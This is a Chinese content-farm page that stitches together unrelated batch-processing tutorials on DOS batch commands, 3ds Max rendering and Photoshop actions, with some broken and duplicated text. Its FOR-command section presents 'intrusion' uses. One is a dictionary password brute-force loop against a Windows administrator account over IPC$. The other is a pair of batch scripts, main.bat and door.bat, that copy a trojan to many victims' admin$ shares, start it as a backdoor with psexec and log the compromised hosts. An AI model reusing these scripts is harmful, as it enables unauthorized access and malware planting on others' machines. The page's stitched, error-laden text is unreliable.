求批处理教程 急啊啊啊啊!!! 1021171233@qq.com?批处理命令教程

2024-06-06 19:47:04 23

求批处理教程 急啊啊啊啊!!! 1021171233@qq.com?批处理命令教程

本文目录

求批处理教程 急啊啊啊啊!!! 1021171233@qq.com

批处理示例
1. IF-EXIST
1) 首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
然后运行它:
C:\》TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。
2) 接着再建立一个test2.bat文件,内容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist
执行:
C:\》TEST2 AUTOEXEC.BAT
该命令运行结果同上。
说明:
(1) IF EXIST 是用来测试文件是否存在的,格式为
IF EXIST 命令
(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。
==== willsort 编注 =====================================================
DOS没有 “允许传递9个批参数信息“ 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符.
========================================================================
3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
@echo off
IF “%1“ == “A“ ECHO XIAO
IF “%2“ == “B“ ECHO TIAN
IF “%3“ == “C“ ECHO XIN
如果运行:
C:\》TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN
如果运行:
C:\》TEST3 A B
屏幕上会显示
XIAO
TIAN
在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,内容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
然后执行文件:
C:\》TEST4
如果文件拷贝成功,屏幕就会显示“成功拷贝文件“,否则就会显示“文件拷贝失败“。
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。
因此下面的批处理文件是错误的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义:
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止
diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
0 格式化成功
3 用户
DOS批处理命令
Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo
Sample:@echo off / echo hello world
即是说当echo设置off值的时候,那么下面的指令都将只执行而不显示,当再次出现echo on时下面的语句才为可见的(回显),echo通常和@一起使用,@放
在echo的前面,即是 @echo,作用是让@后面的句子不显示出来,而@本身也是不显示的,那么通过 @echo off 可达到不显示任何信息的效果。

批处理命令教程

1、echo命令

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo命令将显示当前回显设置。

语法

echo

Sample:@echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用》 》》 ^)结合来实现输入一些命令到特定的文件中,例如:

echo test》test.txt

命令会创建一个名为“test“的文本文件,并将“test“输入到文本文件中。

在批处理文件的开头,通常有:

@echo off

原因是@可以将本行的命令关闭回显,搭配“echo off“就可以不显示“echo off“的回显了。

2、rem命令

注释命令,类似于在C语言中的/*--------*/,它并不会被执行,只是起一个注释的作用,只有在批处理时才会被看到,主要用于方便修改。

:: 也具有rem的功能

但::和rem还是有区别的,当关闭回显时,rem和::后的内容都不会显示。

但是当打开回显时,rem后的内容会显示出来,然而::后的内容仍然不会显示。

Rem

扩展资料

在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。

批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。

参考资料来源:百度百科-批处理文件

参考资料来源:百度百科-批处理

bat文件详细教程

批处理(.bat)文件详细教程
后缀是bat的文件就是批处理文件,是一种文本文件。现在已经用得很少了,但是象IBM笔记本的系统恢复盘就是靠批处理来执行的。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢? 比如,在启动wps软件时,每次都必须执行:
C:\》cd wps
  C:\WPS》spdos
  C:\WPS》py
  C:\WPS》wbx
  C:\WPS》wps
如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢?
如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢? 当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。
常用命令
  echo、@、call、pause、rem是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符;echo off 表示在此语句后所有运行的命令都不显示命令行本身。@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令);
pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续;
rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的;
例:用edita.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为:         文件表示:
  echo off            不显示命令行
    dir c:\*.* 》a.txt       将c盘文件列表写入a.txt
    call c:\ucdos\ucdos.bat    调用ucdos
    echo 你好            显示“你好“
    pause              暂停,等待按键继续
    rem 使用wps           注释将使用wps
    cd ucdos            进入ucdos目录
    wps               使用wps  
批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。
%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。
例如,C:根目录下一批处理文件名为f.bat,内容为 format %1
  则如果执行C:\》f a:    则实际执行的是format a:
又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2 ,那么运行C:\》t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容。
此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。
特殊命令
if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:
1、if “参数“ == “字符串“  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if “%1“==“a“ format a:
2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys
3、if errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码
goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如:
goto end
:end
echo this is the end
标号用 :字符串 表示,标号所在行不被执行
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /cme defrag,mem,end 将显示 defrag,mem,end?
例如,test.bat的内容如下:
@echo off
choice /cme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errotlevel 1 goto end
efrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
for 循环命令,只要条件符合,它将多次执行同一命令。
格式FOR
只要参数f在指定的集合内,则条件成立,执行命令
如果一条批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含义是如果是以bat或txt结尾的文件,则显示文件的内容。
autoexec.bat
DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如: path(设置路径)、smartdrv(磁盘加速)、 mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。
如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。
例如,一个典型的autoexec.bat内容如下:
@echo off                  不显示命令行
prompt $p$g                 设置提示符前有目录提示
path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools    设置路径
lh c:\dos\doskey.com                加载键盘管理
lh c:\mouse\mouse.com              加载鼠标管理
lh c:\dos\smartdrv.exe               加载磁盘加速管理
lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V    加载CD-ROM驱动
set temp=c:\temp                  设置临时目录
IF -EXIST
首先用记事本建立一个文件,文件内容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
在C盘保存文件为TEST.BAT
然后执行命令
C:\》TEST1.BAT
这时,如果AUTOEXEC.BAT中有内容的话会显示出来。
接着再建立一个文件,内容如下:
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 does not exist
也保存在C盘,文件名为TEST2.BAT
然后执行命令
C:\》TEST2 AUTOEXEC.BAT
同样,如果AUTOEXEC.BAT中有内容的话会显示出来。
说明:
1. IF EXIST 是用来测试文件是否存在的,格式为
IF EXIST 命令
2. 其中第二个文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1---------%9 ,有点想实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。
更进一步的,建立一个名为ABC.BAT的文件,内容如下:
IF ‘%1’ = = ‘ A ’ ECHO XIAO
IF ‘%1’ = = ‘ B ’ ECHO TIAN
IF ‘%1’ = = ‘ C ’ ECHO XIN
完成后运行C:\》ABC.BAT A B C
屏幕上会显示C:\》XIAOTIANXIA
如果执行C:\》ABC.BAT A B
屏幕上会显示C:\》XIAOTIAN
DOS将一个空字符串附给参数%3。
可以将NOT放在IF和条件之间,指示IF在条件为假时执行某一命令。
注意:这个命令可在DOS下输入直接运行。
IF-ERRORLEVEL
用记事本建立一个文件XIAO.BAT,内容如下
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
然后执行文件
C:\》XIAO.BAT
如果文件拷贝成功,屏幕就会显示:成功拷贝文件
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,因此下面的批处理文件是错误的
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
IF ERRORLEVEL = = 1 ECHO 未找到拷贝文件
IF ERRORLEVEL = = 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL = = 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL = = 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
注意:这个命令是可以在DOS下直接输入的。
例如:
C:\》XCOPY \AUTOEXEC.BAT D:\
之后可以执行
C:\》 IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
如果成功,屏幕将显示:
成功拷贝文件
以下就是几个常用命令的返回值:
backup
出口状态 意义
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止
diskcomp
出口状态 意义
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
出口状态 意义
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
出口状态 意义
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“proceed with format(y/n)?”下用户键入n结束
xopy
出口状态 意义
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误
IF STRING = = STRING
首先用记事本建立一个名为XIAO.BAT的文件,文件内容如下:
@echo off
IF “%1“ = = “A“ FORMAT A:
接着执行
C:\》XIAO A
屏幕上就出现是否将A:盘格式化的内容。
这个语句的格式为
IF “参数“ = = “字符串“  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
注意:要想在DOS下直接使用,只有这样
C:\》 IF “A“ = = “A“ FORMAT A:
毫无意义。
GOTO
首先用记事本建立一个名为XIAO.BAT的文件,文件内容如下:
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO KB
: KB
COPY C:\AUTOEXEC.BAT D:\
: DONE
注意:
1. 标号前是冒号(:)
2. 标号的最后一行是: DONG
3. DOS支持最长为八位的标号,当无法区别两个标号时,将跳转至最近的一个标号。
FOR
首先用记事本建立一个名为XIAO.BAT的文件,文件内容如下:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
接着执行
C:》XIAO.BAT
执行以后,屏幕上会将C:盘所有的以 *.BAT *.TXT *.SYS为扩展名的文件内容显示出来,当然不包括隐藏文件。
说明:字符%%C 表示FOR命令变量,FOR支持通配符。

3dmax批处理渲染

批量渲染的话是比较方便、不过你要先设置一些东西!

我把步骤都已经截图、你可以参考

首先第一步:

你要在你的视口中把摄影机都显示出来、看看摄影机角度有没有什么问题!

第二步:

渲染栏这里点一下、里面有个批量渲染

第三步:

这是点开之后的界面、

第四步:

这是设置之后的参数、添加那里可以添加数量、输出路径是你图片保存的位置、摄影机就找到你要渲染的那个摄影机就好、设置好就可以渲染!

photoshop中怎样批处理操作

一、首先我们得制作自己需要的动作命令
第一步,先打开Photoshop,选中“窗口→动作”命令,打开动作命令窗口。此时,动作命令栏里只有默认命令序列和一些默认动作。
第二步,执行“文件→打开”动作,任意打开一张图片。单击动作命令栏“创建新动作”快捷命令图标,此时就会在“默认动作”的序列下创建新动作,出现的命令对话框,在“名称”栏中输入“我的动作”,然后单击按钮结束。
第三步,开始创建各项需要的动作(计算机会自动记录你的各个动作,为节省批处理时间,最好每个动作都是事先准备好,被记录的动作都能一步到位):
1. 限制图片大小:执行“文件→自动→限制图像”命令,打开图3对话框,根据需要设置好一系列参数后,单击。
2. 转换颜色类型:执行“图像→模式→CMYK颜色”即可。
3. JPEG格式:执行“文件→存储为”命令,在“格式”下拉菜单中选择JPEG格式,单击。
第四步,单击动作命令栏下方的“停止”按钮停止记录。这时我们需要的动作命令制作完毕。
二、然后就是使用批处理命令,达到一步到位的效果了
先做准备工作:把所有待处理的图片放到一个文件夹里,新建一个文件夹用来放置处理过的图片。执行“文件→自动→批处理”打开批处理命令框。接着设置各个参数和选项。
1. 在“动作”下拉菜单中选择“我的动作”。
2. 在“源”下拉菜单中选择“文件夹”。
3. 单击。单击选中“包含所有子文件夹”和“禁止颜色配置警告”这两个复选框。
4. 在“目的”下拉菜单中选择“文件夹”,单击。
5. 在“文件命名”的第一个框的下拉菜单中选择“1位数序号”,在第二个框的下拉菜单中选择“扩展名(小写)”。
6.在“错误”下拉菜单中选择“将错误记录到文件”,单击选择一个文件夹。批处理若中途出了问题,计算机会忠实地记录错误的细节,并以记事本存于选好的文件夹中。
这一切做好,检查无误之后,单击,计算机就会开始一张一张地打开处理和保存那些我们选中的图片,直到任务结束。

photoshop批处理教程

PS具有批处理图片功能,具体操作如下:

一、使用工具:PS CS2

二、操作步骤:

1、进入PS CS2,打开其中一张要处理的图片,然后切换到动作面板,点击新建动作按钮,如图:

2、输入动作名称并按“记录”按钮开始记录需要批处理的步骤,如图:

3、开始进行需要批处理的步骤,例如按Ctrl+U进行饱和度调整,如图:

4、进行了需要批处理的步骤后返回到动作面板,点击“停止”记录按钮,如图:

5、接下来开始进行批处理图片操作,点击”文件“菜单中的”自动“,然后选择”批处理“,如图:

6、在动作后面下拉列表中选择前面记录的动作名称,选择文件夹选择需要批处理的图片以及处理好的图片存放目标文件夹,然后按”确定“按钮,这样就可以开始批处理图片了,如图:

谁有详细的批处理 for的运用的教程

for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R %variable IN (set) DO command [command-
检查以 path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN (“string“) DO command
FOR /F %variable IN (@#command@#) DO command
或者,如果有 usebackq 选项:
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN (“string“) DO command
FOR /F %variable IN (@#command@#) DO command
20031110185315.htmset 为一个或多个文件名。继续到 20031110185315.htmset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 “options“
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F “eol=; tokens=2,3* delims=, “ %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 @#z@# 或
@#Z@# 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 20031110185315.htmset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 20031110185315.htmset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F “usebackq delims==“ %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号(“),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ “password“ /u:“administrator“来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ “i%“ /u:“administrator“
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ “i%%“ /u:“administrator“|find “:命令成功完成“》》D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f “tokens=1,2,3 delims= “ %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) -----------------
@echo off
@if “%1“==““ goto usage
@for /f “tokens=1,2,3 delims= “ %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
cut here then save as a batchfile(I call it main.bat ) ---------------------------
cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:“%2“
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 》》ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored 》》ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat)

求批处理教程 急啊啊啊啊!!! 1021171233@qq.com?批处理命令教程

本文编辑:admin
批处理教程 ,c ,qq

更多文章:


货车电子狗哪款最好(车载电子狗哪个牌子好车载电子狗品牌介绍)

货车电子狗哪款最好(车载电子狗哪个牌子好车载电子狗品牌介绍)

本文目录车载电子狗哪个牌子好车载电子狗品牌介绍电子狗哪个牌子好,电子狗排名货车用哪种电子狗比较好! 不过电子狗应该不分大小车吧 推荐一个比较好的电子狗吧车载电子狗哪个牌子好车载电子狗品牌介绍车载电子狗在生活中非常常见。有很多品牌的车载电子狗

2023年11月2日 22:00

英特尔赛扬e3300升级(CPU是赛扬e3300,如何升级,玩游戏的)

英特尔赛扬e3300升级(CPU是赛扬e3300,如何升级,玩游戏的)

本文目录CPU是赛扬e3300,如何升级,玩游戏的赛扬e3300 主板g41 显卡gt220 怎么升级能玩战地3老电脑E3300怎么升级玩LOLE3300升级E8600能行吗CPU是赛扬e3300,如何升级,玩游戏的看楼主玩游戏的,推荐换个

2024年7月11日 08:51

平板电脑安装win8系统(win10平板怎样重装系统,能装win8吗和其他电脑一样用u盘安装吗)

平板电脑安装win8系统(win10平板怎样重装系统,能装win8吗和其他电脑一样用u盘安装吗)

本文目录win10平板怎样重装系统,能装win8吗和其他电脑一样用u盘安装吗windows10平板怎么安装WIN8系统平板电脑装win8系统怎么样win8系统的平板能不能装.请各位帮忙解怎样给平板电脑重装win8系统平板怎么刷win8系统平

2024年7月17日 10:25

psp破解最新版本(psp美版6.39版本怎么破解)

psp破解最新版本(psp美版6.39版本怎么破解)

本文目录psp美版6.39版本怎么破解PSP3000 6.20版本怎么破解和下载游戏psp为什么发布6.61PSP2000版本6.60如何破解psp破解哪个版本好是6.35好,还是6.20好!求助 PSP3000 6.39的版本破解 谢谢大

2023年4月26日 11:00

调音台接线图解(调音台接线)

调音台接线图解(调音台接线)

大家好,关于调音台接线图解很多朋友都还不太明白,不过没关系,因为今天小编就来为大家分享关于调音台接线的知识点,相信应该可以解决大家的一些困惑和问题,如果碰巧可以解决您的问题,还望关注下本站哦,希望对各位有所帮助!本文目录调音台接线调音台怎么

2023年12月28日 08:40

10130写作什么读作什么?win10 10130安装失败怎么办

10130写作什么读作什么?win10 10130安装失败怎么办

今天给各位分享10130写作什么读作什么的知识,其中也会对10130写作什么读作什么进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!本文目录10130写作什么读作什么win10 10130安装失败怎么办win10 10

2024年6月7日 07:20

十大学生平板电脑排行榜(学生平板电脑十大排名)

十大学生平板电脑排行榜(学生平板电脑十大排名)

本文目录学生平板电脑十大排名平板电脑十大排行榜有哪些学习机什么牌子好学生平板排行榜十强学生平板电脑十大排名1、联想小新Pad Pro 11.5英寸。特点:2.5K OLED屏幕,前后四摄,骁龙730G处理器,支持人脸指纹双解锁。上榜理由:8

2023年11月24日 06:40

a8和a9处理器差多少(oppoa9对比a8)

a8和a9处理器差多少(oppoa9对比a8)

本文目录oppoa9对比a8苹果A8处理器和A9处理器有多大的区别a9和a8差别很大吗苹果a9比a8强多少a8处理器与a9处理器有什么不同oppoa9对比a8OPPO A9搭载联发科Helio P70八核处理器,后置1600万像素+200万

2024年6月5日 23:15

小米手机4c怎么给联系人加照片(安卓手机中怎么给联系人添加照片)

小米手机4c怎么给联系人加照片(安卓手机中怎么给联系人添加照片)

其实小米手机4c怎么给联系人加照片的问题并不复杂,但是又很多的朋友都不太了解安卓手机中怎么给联系人添加照片,因此呢,今天小编就来为大家分享小米手机4c怎么给联系人加照片的一些知识,希望可以帮助到大家,下面我们一起来看看这个问题的分析吧!本文

2024年3月14日 19:05

有透视衣服功能的ps软件(photoshop里面裁剪工具的“透视“在哪里)

有透视衣服功能的ps软件(photoshop里面裁剪工具的“透视“在哪里)

本文目录photoshop里面裁剪工具的“透视“在哪里ps中如何使衣服变透明 怎么利用PS将人物衣服变透明什么工具可以把照片衣服变透明的请问photoshop能透视衣服吗ps怎么做出衣服透视的效果什么软件能把图片上美女的衣服弄成透明的pho

2023年9月8日 13:40

电脑自带扬声器删掉了怎么办(我的笔记本电脑右下角的扬声器图标没有了,我该怎么找回来呢)

电脑自带扬声器删掉了怎么办(我的笔记本电脑右下角的扬声器图标没有了,我该怎么找回来呢)

本文目录我的笔记本电脑右下角的扬声器图标没有了,我该怎么找回来呢电脑自带的扬声器被卸载了怎么办无意中把电脑上的小喇叭删除了没了声音怎么办电脑没有扬声器了怎么恢复电脑的声音喇叭给删除了,怎样才能再次安装呢电脑的喇叭被删了怎么办啊电脑上的扬声器

2023年9月7日 12:40

防噪音耳塞型号(防噪声耳塞哪种比较好)

防噪音耳塞型号(防噪声耳塞哪种比较好)

